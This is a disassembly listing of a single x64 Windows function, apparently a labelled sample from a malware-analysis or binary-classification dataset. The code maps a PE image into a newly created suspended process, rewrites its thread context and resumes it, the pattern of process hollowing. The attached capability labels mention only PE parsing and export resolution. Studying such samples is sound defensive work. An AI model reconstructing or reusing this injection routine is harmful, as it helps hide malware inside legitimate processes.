Function at 0x140008b84
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x78]
sub rsp, 0x178
mov qword [rbp - 0x60], 0xfffffffffffffffe
mov rax, qword [0x14007a0b8]
xor rax, rsp
mov qword [rbp + 0x68], rax
mov r15, r9
mov r13, r8
mov r14, rdx
mov r12, rcx
mov rax, qword [rbp + 0xe0]
mov qword [rbp - 0x70], rax
xor edi, edi
mov sil, dil
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], rdi
or rbx, 0xffffffffffffffff
mov dword [rbp + 0x60], ebx
lea rcx, [rbp + 0x60]
call fcn.1400493c8
cmp byte [rbp + 0xf8], dil
je 0x140008d3c
movdqa xmm0, xmmword [0x1400560d0]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], dil
mov r9b, byte [rbp + 0xf0]
lea r8, [rbp + 0x20]
lea rdx, [rsp + 0x78]
mov ecx, eax
call fcn.140013480
test al, al
je 0x140008cb9
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x140008cb9
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
lea r9d, [rdi + 2]
xor r8d, r8d
mov edx, 0x2000000
call fcn.14001adb8
test eax, eax
je 0x140008c9c
xor r8d, r8d
mov rdx, qword [rsp + 0x78]
lea rcx, [rsp + 0x68]
call fcn.140005474
test eax, eax
je 0x140008c7b
mov dil, 1
jmp 0x140008cf8
mov word [rbp + 0x60], 0x3231
mov byte [rbp + 0x62], 0
lea rax, [rbp + 0x60]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140008c8c
lea rdx, [rbp + 0x60]
jmp 0x140008cef
mov word [rbp + 0x60], 0x3131
mov byte [rbp + 0x62], 0
lea rax, [rbp + 0x60]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140008cad
jmp 0x140008c96
mov dword [rbp + 0x60], 0x5f3031
lea rax, [rbp + 0x60]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140008cc7
lea rdx, [rbp + 0x60]
mov rcx, r15
call fcn.14002046c
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rdx, qword [rbp + 0x20]
mov r8, qword [rbp + 0x30]
mov rcx, r15
call fcn.14002046c
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x140008d33
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008d2e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400093ba
call fcn.140025f60
test dil, dil
je 0x140009392
lea rdx, [0x140056fd0]
lea rcx, [rbp + 0x20]
call fcn.14000aec0
cmp qword [rax + 0x18], 0x10
jb 0x140008d56
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x140008d9d
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008d98
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400093c0
call fcn.140025f60
movdqa xmm0, xmmword [0x1400560d0]
movdqu xmmword [rbp + 0x30], xmm0
xor eax, eax
mov byte [rbp + 0x20], al
test rdi, rdi
je 0x14000936e
lea rdx, [0x140057bd0]
lea rcx, [rbp + 0x40]
call fcn.14000aec0
cmp qword [rax + 0x18], 0x10
jb 0x140008dd2
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14007aed8], rax
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x140008e20
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008e1b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400093c6
call fcn.140025f60
lea rdx, [0x140057bf8]
lea rcx, [rbp + 0x40]
call fcn.14000aec0
cmp qword [rax + 0x18], 0x10
jb 0x140008e3a
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14007aee0], rax
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x140008e88
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008e83
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400093cc
call fcn.140025f60
lea rdx, [0x140057c20]
lea rcx, [rbp + 0x40]
call fcn.14000aec0
cmp qword [rax + 0x18], 0x10
jb 0x140008ea2
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14007aee8], rax
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x140008ef0
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008eeb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400093d2
call fcn.140025f60
mov eax, 0x5a4d
cmp word [r12], ax
jne 0x14000921b
movsxd rsi, dword [r12 + 0x3c]
add rsi, r12
cmp dword [rsi], 0x4550
jne 0x1400091ed
lea rdx, [rbp - 0x80]
mov rcx, r14
call fcn.14000580c
mov ecx, 0x14c
mov eax, dword [rbp - 0x80]
xor r8d, r8d
cmp word [rsi + 4], cx
jne 0x140008f39
test eax, eax
jne 0x140009392
mov ecx, 0x8664
cmp word [rsi + 4], cx
jne 0x140008f4d
cmp eax, 6
jne 0x140009392
lea rdi, [rbp + 0x20]
xor eax, eax
lea ecx, [rax + 0x18]
rep stosb byte [rdi], al
lea rdi, [rbp - 0x50]
lea edx, [rax + 0x68]
mov ecx, edx
rep stosb byte [rdi], al
mov dword [rbp - 0x50], edx
mov dword [rbp - 0x14], 0x101
mov word [rbp - 0x10], r8w
lea rax, [rbp + 0x20]
xor r9d, r9d
cmp byte [rbp + 0xf8], r8b
je 0x140008fc3
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r8
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], r8d
mov qword [rsp + 0x20], r8
mov r8, r13
mov rdx, r14
mov rcx, qword [rsp + 0x70]
call fcn.14001aed0
jmp 0x140008ff6
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x30], r8
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], r8d
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call fcn.14001b06c
xor r13d, r13d
test eax, eax
je 0x1400091d4
lea edi, [r13 + 8]
lea r9d, [r13 + 4]
mov r8d, 0x1000
mov edx, edi
xor ecx, ecx
call fcn.140005d54
mov r14, rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rbp + 0x28]
call fcn.140051260
test eax, eax
je 0x1400091a1
mov rdx, qword [r14 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r13
mov r9d, edi
lea r8, [rbp - 0x68]
mov rcx, qword [rbp + 0x20]
call qword [0x14007aed8]
mov eax, dword [rbp - 0x68]
mov r8, rbx
cmp rax, qword [rsi + 0x30]
lea rax, [rbp + 0x60]
jne 0x140009083
mov dword [rbp + 0x63], 0x5f6f6f
mov word [rbp + 0x61], 0x676d
mov byte [rbp + 0x60], 0x69
inc r8
cmp byte [rax + r8], r13b
jne 0x140009078
jmp 0x14000909d
mov dword [rbp + 0x63], 0x5f6666
mov word [rbp + 0x60], 0x6d69
mov byte [rbp + 0x62], 0x67
inc r8
cmp byte [rax + r8], r13b
jne 0x140009094
lea rdx, [rbp + 0x60]
mov rcx, qword [rbp - 0x70]
call fcn.14002046c
neg byte [rbp + 0xe8]
sbb eax, eax
and eax, 0x3c
add eax, 4
mov r8d, dword [rsi + 0x50]
mov dword [rsp + 0x20], eax
xor edx, edx
mov r9d, 0x3000
mov rcx, qword [rbp + 0x20]
call fcn.14001abc4
mov qword [rbp - 0x78], rax
test rax, rax
je 0x140009188
mov r9d, dword [rsi + 0x54]
mov qword [rsp + 0x20], r13
mov r8, r12
mov rdx, rax
mov rcx, qword [rbp + 0x20]
call fcn.14001a448
movzx edi, word [rsi + 0x14]
add rdi, 0x2c
mov ebx, r13d
cmp r13w, word [rsi + 6]
jae 0x140009138
add rdi, rsi
mov r9d, dword [rdi - 4]
mov r8d, dword [rdi]
add r8, r12
mov edx, dword [rdi - 8]
add rdx, qword [rbp - 0x78]
mov qword [rsp + 0x20], r13
mov rcx, qword [rbp + 0x20]
call fcn.14001a448
lea rdi, [rdi + 0x28]
inc ebx
movzx eax, word [rsi + 6]
cmp ebx, eax
jl 0x14000910b
mov rdx, qword [r14 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rbp - 0x78]
mov rcx, qword [rbp + 0x20]
call fcn.14001a448
mov eax, dword [rsi + 0x28]
add rax, qword [rbp - 0x78]
mov qword [r14 + 0x80], rax
mov rdx, r14
mov rcx, qword [rbp + 0x28]
call qword [0x14007aee0]
mov rcx, qword [rbp + 0x28]
call qword [0x14007aee8]
mov sil, 1
jmp 0x140009244
mov word [rbp + 0x60], 0x3831
mov byte [rbp + 0x62], r13b
lea rax, [rbp + 0x60]
inc rbx
cmp byte [rax + rbx], r13b
jne 0x140009196
jmp 0x1400091b8
mov word [rbp + 0x61], 0x37
mov byte [rbp + 0x60], 0x31
lea rax, [rbp + 0x60]
inc rbx
cmp byte [rax + rbx], r13b
jne 0x1400091af
mov r8, rbx
lea rdx, [rbp + 0x60]
mov rcx, r15
call fcn.14002046c
xor edx, edx
mov rcx, qword [rbp + 0x20]
call fcn.14005079c
jmp 0x140009216
mov word [rbp + 0x60], 0x3631
mov byte [rbp + 0x62], r13b
lea rax, [rbp + 0x60]
inc rbx
cmp byte [rax + rbx], r13b
jne 0x1400091e2
jmp 0x140009207
mov word [rbp + 0x60], 0x3531
xor r13d, r13d
mov byte [rbp + 0x62], r13b
lea rax, [rbp + 0x60]
inc rbx
cmp byte [rax + rbx], r13b
jne 0x1400091fe
mov r8, rbx
lea rdx, [rbp + 0x60]
mov rcx, r15
call fcn.14002046c
mov sil, r13b
jmp 0x140009244
xor r13d, r13d
mov word [rbp + 0x61], 0x34
mov byte [rbp + 0x60], 0x31
lea rax, [rbp + 0x60]
inc rbx
cmp byte [rax + rbx], r13b
jne 0x14000922c
mov r8, rbx
lea rdx, [rbp + 0x60]
mov rcx, r15
call fcn.14002046c
cmp qword [rsp + 0x68], r13
je 0x140009346
lea rdx, [0x140057c40]
lea rcx, [rbp + 0x20]
call fcn.14000aec0
nop
cmp qword [rax + 0x18], 0x10
jb 0x14000926a
mov rax, qword [rax]
mov rcx, rax
call fcn.14001b9b8
mov rdi, rax
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x1400092b0
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400092ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400093d8
call fcn.140025f60
movdqa xmm0, xmmword [0x1400560d0]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], r13b
test rdi, rdi
je 0x140009341
lea rdx, [0x140057c60]
lea rcx, [rbp + 0x40]
call fcn.14000aec0
cmp qword [rax + 0x18], 0x10
jb 0x1400092e0
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14007aec8], rax
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x140009335
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009329
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400093b4
call fcn.140025f60
mov rax, qword [0x14007aec8]
test rax, rax
je 0x140009341
mov rcx, qword [rsp + 0x68]
call rax
mov qword [rsp + 0x68], r13
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x14000935a
call fcn.1400064a0
mov qword [rsp + 0x70], r13
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x140009369
call fcn.1400064a0
mov al, sil
jmp 0x140009394
mov word [rbp + 0x60], 0x3331
mov byte [rbp + 0x62], al
lea rcx, [rbp + 0x60]
inc rbx
cmp byte [rcx + rbx], al
jne 0x14000937b
mov r8, rbx
lea rdx, [rbp + 0x60]
mov rcx, r15
call fcn.14002046c
xor al, al
mov rcx, qword [rbp + 0x68]
xor rcx, rsp
call fcn.140026000
add rsp, 0x178
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.14002a434
int3
call fcn.14002a434
int3
call fcn.14002a434
int3
call fcn.14002a434
int3
call fcn.14002a434
int3
call fcn.14002a434
int3
call fcn.14002a434
int3